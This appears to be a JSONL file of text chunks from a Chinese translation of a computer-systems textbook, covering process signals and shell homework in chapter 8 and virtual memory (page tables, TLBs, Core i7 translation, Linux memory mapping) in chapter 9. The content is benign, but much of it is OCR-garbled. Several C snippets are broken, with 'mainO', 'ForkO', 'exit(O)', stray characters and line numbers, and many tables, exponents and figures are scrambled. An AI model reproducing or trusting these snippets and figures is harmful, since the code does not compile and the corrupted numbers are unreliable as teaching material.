    {"text": "如果command (通过调用exit函数或者执行一条return语句）正常退出，那么mysystem 返回command退出状态。 例如，如果command通过调用exit ( 8 )终止，那么mysystem返回值 8。 否则，如果command是异常终止的，那么mysystem就返回外壳返回的状态。"},
    {"text": "其思想是每次发生 一个事件时，通过向父进程发送一个信号来通知它，并且让父进程的信号处理程序对一个全局变量 counter 加一，在子进程终止之后，父进程就可以检查这个变量。"},
    {"text": "父进程打印和下面所示相同（除了 PID)的输出： child 12255 terminated by signal 11: Segmentation fault child 12254 terminated by signal 11: Segmentation fault 提示：请参考 psignal (3> 的 man 页。"},
    {"text": "code/ecf/counterprob. c #include \"csapp.h\" int counter = 0; void handler(int sig) { counter++; sleep(1 );卜 Do some work in the handler */ return; } int mainO { int i; Signal(SIGUSR2, handler); if (ForkO == 0) { /* Child */ for (i = 0; i < 5; i+十 ）i Kill(getppid()， SIGUSR2); printf(\"sent SIGUSR2 to parent\\n\"); > 23 24 exit(O); } Wait(NULL); 23 29 printf (•• counter=%d\\n\" , counter); exit(O); > code/ecf/counterprob. c 图8-41家庭作业8.23中引用的计数器程序 •内置命令jobs列出所有的后台作业。"},
    {"text": "练习题答案 练习题 8.1进程A和B是互相并发的，就像B和C 一样，因为它们各自的执行是重叠的，也就是一个进程 在另一个进程结束前开始。"},
    {"text": "下面是子进程产生的输出： printf1: x=2 printf2: x=l B.父进程只执行了第9行的printf ： printf2: x=0 unix> ./shell Run your shell program > bogus bogus: Command not found. Execve Ccin' t find executable > foo 10 Job 5035 terminated by signal: Interrupt User types ctrl-c > foo 100 & [1] 5036 foo 100 & > foo 200 & [2] 5037 foo 200 & > jobs [1] 5036 Running foo 100 & [2] 5037 Running foo 200 & > fg %1 Job [1] 5036 stopped by signal: Stopped User types ctrl -z > jobs [1] 5036 Stopped foo 100 & [2] 5037 Running foo 200 & > bg 5035 5035: No such process > bg 5036 [1] 5036 foo 100 & > /bin/kill 5036 Job 5036 terminated by signal: Terminated > fg %2 Wait ： for fg job to finish. > quit 皿ix> Back to the Unix shel?t 图8-42家庭作业8.26的外壳会话示例 练习题8.3父进程打印匕然后是c。"},
    {"text": "一般而言，满足下 图的任意拓扑排序都是合法的顺序： —> (*0'' —> “2\" —> f (Bye 、 7 父进程 / Hello'' \\ —> “ 1 •, —> f { Bye' ' 子进程 比如，当我们在系统上运行这个程序时，会得到下面的输出： unix> ./waitprobl Hello 0 1 Bye 2 Bye 在这种情况下，父进程首先运行，在第6行打印“Hello”，在第8.行打印“0”。"},
    {"text": "对wait的调用会阻 塞，因为子进程还没有终止，所以内核执行一个上下文切换，并将控制传递给子进程，子进程在第8行打 印“1”，在第15行打印“Bye”，然后在第16行终止，退出状态为2。 在子进程终止后，父进程继续，在 第12行打印子进程的退出状态，在第15行打印“Bye”。"},
    {"text": "练习题8.5 code/ecf/snooze, c unsigned int snooze(unsigned int secs) { unsigned int rc = sleep(secs); :,secs); — code/ecf/snooze. c -code/ecf/myecho. c printf(\"Slept for %u of %u secs.\\n\", return rc; > 练习题8.6 #include \"csapp.h\" int main (int argc, char *argv[], char *envp []) int i; printf(\"Command line arguments:\\n\"); for (i=0; argv[i] != NULL; i++) printf(\" argv[%2d]: %s\\n\", i, argv[i]); printf(\"\\n\")； printf(\"Environment variables:\\n\"); for (i=0; envp[i] != NULL; i++) printf(\" envp[%2d]: %s\\n\", i, envp[i]); exit(0); code/ecf/myecho. c 练习题8.7只要休眠进程收到一个未被忽略的信号，sleep函数就会提前返回。 但是，因为收到一个 SIGINT信号的默认行为就是终止进程（见图8-25),我们必须设置一个SIGINT处理程序来允许sleep函 数返回。"},
    {"text": "24 25 26 if (argc != 2) { fprintf(stderr, \"usage: %s exit(0); } if (signal(SIGINT, handler)== unix_error(\"signal error\\n' (void)snooze(atoi(argv[1])); exit(0);\ncode/ecf/snooze. c 练习题8.8这个程序打印字符串“213”，这是卡内基梅隆大学CSiAPP课程的缩写名。"},
    {"text": "子进程捕获这个信号（中断这个无限循环），对计数器值（从初始值2)减一，打印“1”，然后终止。 在父 进程回收子进程之后，它对计数器值（从初始值2)加一，打印“3”，并且终止。"},
    {"text": "虚拟存储器是硬件异常、硬件地址翻译、主存、磁盘文件和内核软件的完美交 互，它为每个进程提供了一个大的、一致的和私有的地址空间。 通过一个很清晰的机制，虚拟存 储器提供了三个重要的能力：1)它将主存看成是一个存储在磁盘上的地址空间的高速缓存，在 主存中只保存活动区域，并根据需要在磁盘和主存之间来回传送数据，通过这种方式，它高效地 使用了主存。"},
    {"text": "虚拟存储器遍及计算机系统的所有层面，在硬件异常、汇编器、链 接器、加载器、共享对象、文件和进程的设计中扮演着重要角色。 理解虚拟存储器将帮助 你更好地理解系统通常是如何工作的。 • 虚拟存储器是强大的。 虚拟存储器给予应用程序强大的能力，可以创建和销毁存储器片 (chunk)、将存储器片映射到磁盘文件的某个部分，以及与其他进程共享存储器。"},
    {"text": "例如，一个带有错误指针的程序可以 立即崩溃于“段错误”或者“保护错误”，它可能在崩溃之前还默默地运行几个小时，或 者是最令人惊慌地，运行完成却产生不正确的结果。"},
    {"text": "后一部分是建立在这种理解之上的，向你展示了如何在程序中使用和管理虚拟存储器。 你将 学会如何通过显式的存储器映射和对像malloc程序这样的动态存储分配器的调用来管理虚拟 存储器。"},
    {"text": "当CPU执行这条加载指令时，它会生成一个有效 物理地址，通过存储器总线,把它传递给主存。 主存 取出从物理地址4处开始的4字节的字，并将它返回 给CPU，CPU会将它存放在一个寄存器里。"},
    {"text": "CPU 芯片 哩地址 (PA) 4 虚拟地址地址翻译 (VA) CPU ► MMU 4100 ; M-1: 数据字 图9-2 —个使用虚拟寻址的系统 使用虚拟寻址时，CPU通过生成 一个虚拟地址 （Virtual Address, VA)来访问主存，这个虚 拟地址在被送到存储器之前先转换成适当的物理地址。"},
    {"text": "CPU芯片上叫做 存储器管理单元 （Memory Management Unit, MMU)的专用硬件, 利用存放在主存中的査询表来动态翻译虚拟地址，该表的内容是由操作系统管理的。"},
    {"text": "9.2 地址空间 地址空间 （address space)襄一个非负整数地址的有序集合： {0, 1, 2, •••} 如果地址空间中的整数是连续的，那么我们说它是一个 线性地址空间 （linear address space)。"},
    {"text": "在一个带虚拟存储器的系统中，CPU从一个有 iV= 2”个地址的地址空间中生成虚拟地址，这个地址空间称为 虚拟地址空间 （virtual address space): {0, 1, 2,…， N-1} 一个地址空间的大小是由表示最大地址所需要的位数来描述的。 例如，一个包含个地址的 虚拟地址空间就叫做一个 n 位地址空间。"},
    {"text": "一个系统还有一个物理地址空间（physical address space),它与系统中物理存储器的M个字 节相对应 ： {0, 1, 2,…， M- 1} M不要求是2的幂，但是为了简化讨论，我们假设M=2 W 。"},
    {"text": "利用下列单 位：K = 2 1() (千），M = 2 2 ° (兆，百万），G = 2 3G (千兆，十亿），T = 2 4 °(万亿）,P = 2 5 °(千千兆），或 E = 2 60 (千兆兆）。"},
    {"text": "' 虚拟地址位数（/0 虚拟地址数 (N) 最大可能的虚拟地址 8 2 ? = 64K 2 32 - 1 = ?G - 1 2 ? = 256T 64 9.3 虚拟存储器作为缓存的工具 概念上而言，虚拟存储器（VM)被组织为一个由存放在磁盘上的iV个连续的字节大小的单 元组成的数组。"},
    {"text": "在任意时刻，虚拟页面的集合都分为三个不相交的子集： 虚拟页（VP) 物理页（PP) 存储在磁盘上 缓存在DRAM中 图9-3 —个VM系统是如何使用主存作为缓存的 • 未分配的：VM系统还未分配（或者创建）的页。"},
    {"text": "DRAM缓存的组织结构 为了有助于清晰地理解存储层次结构中不同的缓存概念，我们将使用术语SRAM缓存来表 示位于CPU和主存之间的Ll、L2和L3高速缓存，并且用术语DRAM缓存来表示虚拟存储器 系统的缓存，它在主存中缓存虚拟页。"},
    {"text": "因此，DRAM缓存中的 不命中比起SRAM缓存中的不命中要昂贵得多，因为DRAM缓存不命中要由磁盘来服务，而 SRAM缓存不命中通常是由基于DRAM的主存来服务的。"},
    {"text": "页表 同任何缓存一样，虚拟存储器系统必须有某种方法来判定一个虚拟页是否存放在DRAM中 的某个地方。 如果是，系统还必须确定这个虚拟页存放在哪个物理页中。 如果不命中，系统必须 判断这个虚拟页存放在磁盘的哪个位置，在物理存储器中选择一个牺牲页，并将虚拟页从磁盘拷 贝到DRAM中，替换这个牺牲页。"},
    {"text": "这些功能是由许多软硬件联合提供的，包括操作系统软件、MMU (存储器管理单元）中的 地址翻译硬件和一个存放在物理存储器中叫 做页表 （page table)的数据结构，页表将虚拟页映 射到物理页。"},
    {"text": "物理页号或 有效位磁盘地址 PTEO 物理存储器 (DRAM) PP0 PP3 常驻存储器的页表 (DRAM) 虚拟存储器 (磁盘） I VP1 1 VP2 J VP3 VP4 VP6 图9-4展示了一个页表的基本组织结构。"},
    {"text": "有效位表明了该 虚拟页当前是否被缓存在DRAM中。 如果设置了有效位，那么地址字段就表示DRAM中相应的 物理页的起始位置，这个物理页中缓存 了该虚拟页。 如果没有设置有效位，那 么一个空地址表示这个虚拟页还未被分 配。 否则，这个地址就指向该虚拟页在 磁盘上的起始位置。"},
    {"text": "四 个虚拟页（VP1、VP2、VP4和VP7)当 前被缓存在DRAM中。 两个页（VP0和 VP 5)还未被分配，而剩下的页（VP 3 和VP6)已经被分配了，但是当前还未 被缓存/图9-4中有一个要点要注意， 图9-4页表 因为DRAM缓存是全相连的，任意物 理页都可以包含任意虚拟页。"},
    {"text": "®练习题9.2确定下列虚拟地址大小（《)和页大小（尸）的组合所需要的PTE数量： n P^2 P #PTE 16 4K 16 8K 32 4K 32 8K 9.3.3页命中 考虑一下，当CPU读苞含在VP 2中的虚拟存储器的一个字时会怎样，VP 2是被缓存在 DRAM中（见图9-5)。"},
    {"text": "在磁盘和存储器之间传送页的活动叫做 交换 （swapping)或者页 面调度 （paging)。 页从磁盘换入（或 者页面调入） DRAM和从DRAM 换出 （或 者页面调出） 磁盘。"},
    {"text": "在缺页处理程序重新启动导致缺页的指令之后，该指令将从存储器中正常地读取字，而不会再 产生异常 9.3.5 分配页面 图9-8展示了当操作系统分配一个新的虚拟存储器页时对我们示例页表的影响，例如，调用 malloc的结果。"},
    {"text": "内核在磁盘上分配VP5, 并且将PTE 5指向这个新的位置 尽管在整个运行过程中程序引用的不同页面的总数可能超出物理存储器总的大小，但是局部 性原则保证了在任意时刻，程序将往往在一个较小的活动页面（active page)集合上工作，这个 集合叫做工作集（working set)或者常 驻集（resident set)。"},
    {"text": "9.4 虚拟存储器作为存储器管理的工具 在上一节中，我们看到虚拟存储器是如何提供一种机制，利用DRAM缓存来自通常更大的 虚拟地址空间的页面。"},
    {"text": "虚拟地址空间 物理存储器 共享页面 VM如何为进程提供独立的地址空间。 操作系统为 系统中的每个进程都维护一个独立的页表 到目前为止，我们都假设有一个单独的页表，将一个虚拟地址空间映射到物理地址空间。 实 际上，操作系统为每个进程提供了一个独立的页表，因而也就是一个独立的虚拟地址空间。"},
    {"text": "这样的一致性 极大地简化了链接器的设计和实现，允许链接器生成全链接的可执行文件，这些可执行文 件是独立于物理存储器中代码和数据的最终位置的。"},
    {"text": "要把这些节加载到一个新创 建的进程中，Linux加载器分配虚拟页的一个连续的片（chunk),从地址0x08048000处 开始（对于32位地址空间），或者从0x400000处开始（对于64位地址空间），把这些虚 拟页标记为无效的（即未被缓存的)，将页表条目指向目标文件中适当的位置。"},
    {"text": "在每个页初次被引用时，要么是CPU取指 令时引用的，要么是一条正在执行的指令引用一个存储器位置时引用的，虚拟存储器系统 会按照需要自动地调入数据页。"},
    {"text": "操作系统通过将不 同进程中适当的虚拟页面映射到相同的物理页面，从而安排多个进程共享这部分代码的一个拷 贝，而不是在每个进程中都包括单独的内核和C标准库的拷贝，如图9-9所示。"},
    {"text": "当一 个运行在用户进程中的程序要求额外的堆空间时（如调用malloc的结果)，操作系统分 配一个适当数字（例如幻个连续的虚拟存储器页面，并且将它们映射到物理存储器中任 意位置的个任意的物理页面。"},
    {"text": "不 应该允许它读或者写其他进程的私有存储器，并且不允许它修改任何与其他进程共享的虚拟页 面，除非所有的共享者都显式地允许它这么做（通过调用明确的进程间通信系统调用）。"},
    {"text": "因为每次CPU生成一个地址 时，地址翻译硬件都会读一个PTE,所以通过在PTE上添加一些额外的许可位来控制对一个虚 拟页面内容的访问十分简单。"},
    {"text": "SUP位表示进程是否必须运行在内核 (超级用户）模式下才能访问该页。 运行在内核模式中的进程可以访问任何页面，但是运行在用 户模式中的进程只允许访问那些SUP为0的页面。"},
    {"text": "基本参数 符号 描述 N=2 n 虚拟地址空间中的地址数量 M=2 m 物理地址空间中的地址数量 P = 2 P 页的大小（字节） 虚拟地址（VA)的组成部分 符号 描述 VP0 虚拟页面偏移量（字节） VPN 虚拟页号 TLBI TLB索引 TLBT TLB标记 物理地址（PA)的组成部分 符号 描述 PPO 物理页面偏移量（字节） PPN 物理页号 CO 缓冲块内的字节偏移量 CI 高速缓存索引 CT 高速缓存标记 图 9-11 地址翻译符号小结 形式上来说，地址翻译是一个#元素的虚拟地址空间（VAS)中的元素和一个M元素的物 理地址空间（PAS)中元素之间的映射， MAP:VAS 一 PAS U 0 这里 i A ' 如果虚拟地址3处的数据在PAS的物理地址I处 MAP (A)= < I 0 如果虚拟地址乂处的数据不在物理存储器中 图9-12展示了 MMU如何利用页表来实现这种映射。"},
    {"text": "•第二步：MMU生成PTE地址，并从髙速缓存/主存请求得到它。 第三步：高速缓存/主存向MMU返回PTE。 •第四步：MMU构造物理地址，并把它传送给高速缓存/主存。"},
    {"text": "第五步 ：缺页处理程序确定出物理存储器中的牺牲页，如果这个页面已经被修改了，则把 它换出到磁盘。 •第六步：缺页处理程序页面调入新的页面，并更新存储器中的PTE。 •第七步：缺页处理程序返回到原来的进程，再次执行导致缺页的指令。"},
    {"text": "CPU芯片 © a) K面命中 ④\n@练习题9:3给定一个32位的虚拟地址空间和一个24位的物理地址，对于下面的页面大小凡确定 VPN、VPO、PPN和PPO中的位数： P #VPN 位 #VP0 位 #PPN 位 #PP0 位 1KB 1 ' , . 2KB 4KB 8KB b)缺页 图9-13页面命中和缺页的操作视图。"},
    {"text": "PA ：物理地址 ④ 9.6.1结合高速缓存和虚拟存储器 在任何既使用虚拟存储器又使用SRAM高速缓存的系统中,都存在应该使用虚拟地址还是 使用物理地址来访问SRAM高速缓存的问题。"},
    {"text": "PA :物理地址 9,6.2知用TLB加速地址翻译 正如我们看到的，每次CPU产生一个虚拟地址,MMU就必须査阅一个PTE,以便将虚拟 地址翻译为物理地址。"},
    {"text": "然而，许多系统都试 图消_是这样的开销，它们在MMU中包括了一个关于PTE的小的缓存，称为翻 译后备缓冲器 (Translation Lookaside Buffer, TLB) 0 TLB是一个小的、虡拟寻址的缓存，其中每一行都保存着一个由单个PTE组成的块。"},
    {"text": "如果TLB有r=T个组，那么TLB 索引 （TLBI)是由VPN的/个最 低位组成的,而TLB 标记 （TLBT)是由VPN VPO TLB标记(TLBT) TLB索引（TLBI) 中剩余的俾组成的。"},
    {"text": "^ p+t p+t ~ l pp ~ l 0 图9-1,5 —个用来访问TLB的虚拟地址的组成部分 ©数据 a) TLB命中 ⑥ b ) TLB不命中 :图9-16 . TLB命中和不命中的操作视图 VPN 图9-16a展示了当TLB命中时（通常情 况）所包括的步骤。"},
    {"text": "但是如果我们有一个 32位的地址空间、4KB的页面和一个4字节的PTE,那么即使应用所引用的只是虚拟地址空间 中很小的一部分，也总是需要一个4MB的页表驻留在存储器中。"},
    {"text": "还假设在这一时 刻，虚拟地址空间有如下形式：存储器的前2K个页面分配给了代码和数据，接下来的6K个页 面还未分配，再接下来的1023个页面也未分配，接下来的1个页面分配给了用户栈。"},
    {"text": "然而，如果在片/中至少有一个页是分配了的，那么一级PTEi就指向一个二级 页表的基址。 例如，在图9-17中，片0、1和8的所有或者部分已被分配，所以它们的一级PTE 就指向二级页表。"},
    {"text": "二级页表中的每个PTE都负责映射一个4KB的虚拟存储器页面，就像我们查看只有一级的 页表一样。 注意，使用4字节的PTE,每个一级和二级页表都是4KB字节，这刚好和一个页面 的大小是一样的。"},
    {"text": "注意地址是从上往下增加的 www.TopSage.com PTE 3 (null) PTE 2 (null) PTE 6 (null) PTE 5 (null)* PTE 4 (null) | 1023个未分配的页 } 1个已分配的用做栈的VM页\n这种方法从两个方面减少了存储器要求。"},
    {"text": "第一，如果一级页表中的一个PTE是空的 ， 那么 相应的二级页表就根本不会存在，这代表着一种巨大的潜在节约，因为对.于一个典型的程序 , 4GB的虚拟地址空间的大部分都将是未分配的。"},
    {"text": "1级页表 2级页表 r III# VPN1 VPN2 VPN k VPO 虚拟地址 图9-18描述了使用A级页表层次结构的地址翻译。 虚拟地址被划分成为&个VPN和1个 VPOo每个VPN z•都是一个到第z•级页表的索引，其中1 < z’ <匕第y级页表中的每个PTE, 1 <j < k 一 1,都指向第^/十1级的某个 页表的基址。"},
    {"text": "综合：端到端的地址翻译 在这一节里，我们通过一个具体的端到端的地址翻译示例，来综合一下我们刚学过的这些内 容，这个示例运行在有一个TLB和Ll d-cache的小系统上。"},
    {"text": "因为每个页面是2 6 = 64字节，所以虚拟地址和 物理地址的低 6 位分别作为VPO和PPO,虚拟地址的高8位作为VPN,物理地址的高 6 位作为 PPNo 13 12 11 10 9 8 7 6 5 4 3 2 1 0 虚拟地址 丨 | | | j 1 | | | | | | | | < VPN ^ VPO ► (虚拟页号)• （虚拟页偏移） 10 98765432 10 物理地址 | | | | | | | | | | | | < PPN x PP0 ► (物理页号） （物理页偏移） 图9-19小存储器系统的寻址。"},
    {"text": "假设14位的虚拟地址（《=14), 12位的物理地址（m=12)和64字 节的页面（P = 64)\n图9-20展示了我们小存储器系统的一个快照，包括TLB (见图9-20a)、页表的一部分（见 图9-20b)和Ll高速缓存（见图9-20C)。"},
    {"text": "-TLBT- 13 12 11 10 9 8 7 6 5 4 3 2 1 0 虚拟地址 VPO- VPN- 位标记位PPN有效位标记位PPN有效位标记位PPN有效位标记位PPN有效位 0 03 - 0 09 0D 1 00 - 0 07 02 1 1 03 2D 1 02 - 0 04 一 . 0 0A - 0 2 02 - 0 08 . — . 0 06 - 0 03 - 0 3 07 - 0 03 0D 1 0A 34 1 02 •- 0 a) TLB：四组，16个条目，四路组相联\nVPN PPN有效位 00 位 效 有 PN P 13 1 17 1 09 1 - 0 - 0 2D 1 11 1 0D 1 I.08090A0B0C0D0E0F 28 1 — 0 33 1 02 1 — 0 16 1 — 0 — 0 01 02 03 04 05 07\nb)页表：只展示了前16个PTE\n卜co- 1 0 CI CT - 9 8 7 6 5 4 3 2 11 10\n物理地址\n索引标记位有效位块0块1块2块3 0 PPO ■PPN 19 1 99 11 23 11 15 0 — — — — 1B 1 00 02 04 08 36 0 — — — — 32 1 43 6D 8F 09 0D 1 3,6 72 F0 1D 31 0 — — — — 16 1 11 C2 DF 03 24 1 3A 00 51 89 2D 0 — — — 2D 1 93 15 •DA 3B 0B 0 — — — — 12 0 — — — . — 16 1 04 96 34 15 13 1 83 77 1B D3 14 0 — — — —\nc)高速缓存：16个组，4字节的块，直接映射 图9-20小存储器系统的TLB、页表以及缓存。"},
    {"text": "TLB是利用VPN的位进行虚拟寻址的。 因为TLB有四个组，所以VPN的低两位就 作为组索引（TLBI)。 VPN中剩下的高6位作为标记（TLBT),用来区别可能映射到同一 个TLB组的不同的VPN。"},
    {"text": "■ •- . TLBT 0x03 TLBI 0X03 位位置 13 12 11 10 9 8 7 6 5 4 3 2 1 0 VA = 0x03d4 0 0 0 0 1 1 1 1 0 1 0 1 0 0 VPN VPO 03t0f 0x14 开始时，MMU从虚拟地址中抽取出VPN (OxOF),并且检查TLB,看它是否因为前面的 某个存储器引用，缓存了 PTE OxOF的一个拷贝。 TLB从VPN中梱取出TLB索引（0x03)和 TLB标记（0x3),组0x3的第二个条目中有效匹配，所以命中，然后将缓存的PPN (OxOD) 返回给MMU。"},
    {"text": "CT CI CO OxOd 0x05 0x0 位位置 11 . 10 9 8 7 6 5 4 3 2 1 0 PA = 0x354 0 0 1 1 0 1 0 10 1 0 0 PPN PPO OxOd 0x14 因为组0x5中的标记与CT相匹配，所以缓存检测到一个命中，读出在偏移量CO处的数据 字节（0x36)，并#它返回给随后MMU将它传递回CPU。"},
    {"text": "（是/否） 返回的缓存字节 9.7 案例研究 ：Intel Core i7/Linux 存储器系统 我们以一个实际系统的案例研究来概括我们对缓存和虚拟存储器的讨论：一个运行Linux的 Intel Core i7。"},
    {"text": "虽然Nehalem设计允许完全的 64 位虚拟 和物理地址空间，而现在的（以及可预见的未来的）Core i7实现支持48位（256 TB)虚拟地址 空间和52位（4PB)物理地址空间，还有一个兼容模式，支持32位（4GB)虚拟和物理地址 空间。"},
    {"text": "每个核包含一个层次结构 的TLB、一个层次结构的数据和指令高速缓存，以及一组快速的点到点连接，这种连接是基于 Intel QuickPath技术的，是为了让一个核与其他核和外部I/O桥直接通信。"},
    {"text": "处理器包 核 x4 、 L2 统一高速缓存 256 KB, 8 路 L3 统一高速缓存 8MB，16 鉻 * ( 所有的核共享） 到其他核 到 I/O 桥 QuickPath 互连 ，4 条 链路 @ 25.6 GB/s 总無 102.4 GB/s DDR3 存储器控制器 3 x 64 位 @ 10.66 GB/s 总共 32 GB/s ( 所有的核共享） 寄存器 取指令 MMU ( 地址翻译） Ll d-cache Ll i-cache Ll d-TLB Ll i-TLB 32 KB, 8 路 32 KB, 8 路 64 个条目， 4 路 128 个条目， 4 路 L2 统一 TLB 512 个条目 ’ 4 路\n主存 图9-21 Core i7存储器系统 . Core i7地址翻译 图9-22总结了完整的Core 17地址翻译过程，从CPU产生虚拟地址的时刻一直到来自存储 器的数据字到达CPU。"},
    {"text": "CPU 32/64 L2、L3和主存 钴思 虚3 腿址(VA) 12 VPO VPN L1 命中 L1 不命中 321\nTLBT nz TLBI TLB 命中 &J-I TLB 不命中 i_^ ^ T > i j. - ” hH A v • \" • . LI d-cache (64组，8行/组） sj 13\nrz\nLI TLB (16组，4个条目/组）\n9 VPNl VPN2 VPN3 VPN4 40 12 40 CT CI CO 物理地址 (PA) 9 f J PTE J \\：： ,, ^FIE J f f ^ . ^PTE\n图 9-22 Core il 地址翻译的概况。"},
    {"text": "为了简化 , 没有显示 i-cache 、 i-TLB 和 L2 统一 TLB 63 62 52 51 12 11 9 8 7. 6. 5 4 3 2 • 1 0 XD 未使用 页表物理基地址 未.使用 G PS A CD WT U/S R/W P=1 OS可用（磁盘上的页表位置） P=0 字段 . 描述. P 子页表在物理存储器中（1)，不在(0) R/W 对于所有可访问页，只读或者读写访问权限 U/S 对于所有可访问页，用户或超级用户（内核）模式访问权限 WT 子页表的直写或写回缓存策略 CD 能/不能缓存子页表 A 引用位（由MMU在读和写时设置，由软件清除） PS 页大小为4 KB或4 MB (值对第一层PTE定义） Base addr 子页表的物理基地址的最高40位 XD 能/不能从这个PTE可访问的肼有页中取指令 图 9-23 第一级、第二级和第三级页表条目格式。"},
    {"text": "XD 未使用 页表物理基地址 未使用 G 0 D A CD WT u/s R/W P=1 OS可用（磁盘上的页表位置） P=0 字段 描述 P 子页表在物理存储器中（1)，不在（0) R/W 对于子页，只读或者读写访问权限 U/S 对于子页，用户或超级用户（内核）模式访问权限 WT 子页的直写或写回缓存策略 CD 能/不能缓存 A 引用位（由MMU在读和写时设置，由软件清除） D 修改位（由MMU在读和写时设置，由软件清除） G 全局页（在任务切换时，不从TLB中驱逐出去） Base addr 子页物理基地址的最髙40位 XD 能/不能从这个子页中取指令 图9-24第四级页表条目的格式。"},
    {"text": "每个条目引用一个4KB子页 9 9 9 9 12 VPN1 VPN2 VPN3 VPN4 VP0 虚拟地址\nL1PT 页全局目录 40 directory L2PT 页上层目录 40 directory L3PT 页中层目录 40 directory UPT .页表 40 table\nL1PT 的 物理地址\n12 L3PTE 到物理和虚拟 页的偏移量\n每个条目 512 GB 区域 每个条目 1GB区域 每个条目 2 MB 区域 每个条目 4KB区域 页的物理 地址\n40\n12 40\nPP0 物理地址 图9-25 Core i7页表翻译。"},
    {"text": "图中还给出了这四级页表的Linux名字 优化地址翻译 在对地址翻译的讨论中，我们描述了一个顺序的两个步骤的过程，1)MMU将虚拟地址翻 译成物理地址，2)将物理地址传送到L1高速缓存。"},
    {"text": "因为八路组相连的、物理寻址的L1高速缓存有64个组和大小为64字节的缓存块，每 个物理地址有6个（log 2 64)缓存偏移位和6个（log 2 64)索引位。"},
    {"text": "但是，在这一小节中我们的目标是对Linux的虚拟 存储器系统做一个描述，使你能够大致了解一个实际的操作系统是如何组织虚拟存储器，以及如 何处理缺页的。"},
    {"text": "都不相同 对每个进程 都一样 0x08048000(32). 0x40000000(64)' %esp- brk- < 与进程相关的数据结构 (例如，页表、task和 mm结构，内核栈） 物理存储器 内核代码和数据 用户栈 W 頃灣零 __ 共享库的存储器映射区域 __w ,__s 圓 'W 运行时堆 (通过malloc分配的） 未初始化的数据（.bss) 已初始化数据( - data) w •程序文件（• text) ' l W 0 内核虚拟存储器 进程虚拟存储器 图9-26 —个Linux进程的虚拟存储器 内核虚拟存储器包含内核中的 代码和数据结构。"},
    {"text": "这就为内核提供了一种便利 的方法来访问物理存储器中任何特 定的位置，例如，当它需要访问页 表，或在一些设备上执行存储器映 射的I/O操作，而这些设备被映射 到特定的物理存储器位置时。"},
    {"text": "Linux虚拟存储器区域 Linux将虚拟存储器组织成一些区域（也叫做段）的集合。 一个区域（area)就是已经存在 着的（已分配的）虚拟存储器的连续片（chunk),这些页是以某种方式相关联的。"},
    {"text": "任务结构中的元素包含或者指向内核 运行该进程所需要的所有信息（例如，PID、^向用户栈的指针、可执行目标文件的名字以及程 序计数器)。"},
    {"text": "我们感 兴趣的两个字段是pgd和mmap,其中pgd指向第一级页表（页全局目录）的基址，而mmap 指向一个vm_area_structs (区域结构）的链表，其中每个vm_area__structs都描述了当 前虚拟地址空间的一个区域（area)。"},
    {"text": "为了我们的目的，一个具体区域的区域结构包含下面的字段： vm_start ：指向这个区域的起始处。 vm_end ：指向这个区域的结束处。 vm一prot ：描述这个区域内包含的所有页的读写许可权限。 •vm—flags ••描述这个区域内的页面是与其他进程共享的，还是这个进程私有的（还描述了 其石一些信息)。 vm—next ：指向链表中下一个区域结构。"},
    {"text": "Linux缺页异常处理 假设MMU在试图翻译某个虚拟地址A时，触发了一个缺页。 这个异常导致控制转移到内 核的缺页处理程序，处理程序随后就执行下面的步骤： 1)虚拟地址A是合法的吗？"},
    {"text": "例如，这个缺页是不是由一条试图对这个代码段里的只读页面进行写操作的存储指令 造成的？ 这个缺页是不是因为一个运行在用户模式中的进程试图从内核虚拟存储器中读取字造成 的？"},
    {"text": "进程虚拟存储器 area struct Tie 」 VTn V * 泰 @正常缺页 保护异常： 例如，违反许可， ^写一个只读的页面 8\n图9-28 Linux缺页处理 9.8 存储器映射 Linux (以及其他一些形式的Unix)通过将一个虚拟存储器区域与一个磁盘上 的对象 (object)关联起来，以初始化这个虚拟存储器区域的内容，这个过程称 为存储器映射 (memory mapping)o虚拟存储器区域可以映射到两种类型的对象中的一种： Unix 文件系统中的普通文件： 一个区域可以映射到一个普通磁盘文件的连续部分，例如 一个可执行目标文件。"},
    {"text": "因为按需进行页面调度，所以这些虚拟页面没有实际交换进入物理存储器，直到CPU第一 次引用到页面（即发射一个虚拟地址，落在地址空间这个页面的范围之内）。"},
    {"text": "CPU第一次引用这样一个区域内的虚拟页面时，内核就在物理存储器中找到一个 合适的牺牲页面，如果该页面被修改过，就将这个页面换出来，用二进制零覆盖牺牲页面并更 新页表，将这个页面标记为是驻留在存储器中的。"},
    {"text": "9.8.1 再看共享对象 存储器映射的概念来源于一个聪明的发现：如果虚拟存储器系统可以集成到传统的文件系统 中，那么就能提供一种简单而髙效的把程序和数据加载到存储器中的方法。"},
    {"text": "不过，许多进程有同样的只读文本区域。 例如，每个运行Unix外壳程 序tcsh的进程都有相同的文本区域。 而且，许多程序需要访问只读运行时库代码的相同拷贝。"},
    {"text": "一个对象可以被映射到虚拟存储器的一个区域，要么作 为共享对象， 要么作 为私有对象。 如 果一个进程将一个共享对象映射到它的虚拟地址空间的一个区域内，那么这个进程对这个区域的 任何写操作，对于那些也把这个共享对象映射到它们虚拟存储器的其他进程而言也是可见的。"},
    {"text": "另一方面，对一个映射到私有对象的区域做的改变，对于其他进程来说是不可见的，并且进 程对这个区域所做的任何写操作都不会反映在磁盘上的对象中。"},
    {"text": "假设进程1将一个共享对象映射到它的虚拟存储器的一个区域中，如图9-29a所示。 现在假 设进程2将同一个共享对象映射到它的地址空间（并不一定要和进程1在相同的虚拟地址处，如 图9-29b所示）。 进程 1 的 物理 进程 2 的 进程 1 的 物理 进程 2 的 虚拟存储器 存储器 虚拟存储器 虚拟存储器 存储器 虚拟存储器 共享对象 共享对象 a)进程1映射了共享对象之后 b)进程2映射了同一个共享对象之后 图9-29 —个共享对象（注意，物理页面不一定是连续的。"},
    {"text": "） 因为每个对象都有一个唯一的文件名，内核可以迅速地判定进程1已经映射了这个对象，而 且可以使进程2中的页表条目指向相应的物理页面。"},
    {"text": "然而，只要有一个 进程试图写私有区域内的某个页面，那么这个写操作就会触发一个保护故障。 当故障处理程序注意到保护异常是由于进程试图写私有的写时拷贝区域中的一个页面而引起 的，它就会在物理存储器中创建这个页面的一个新拷贝，更新页表条目指向这个新的拷贝，然后 恢复这个页面的可写权限，如图9-30b所示。"},
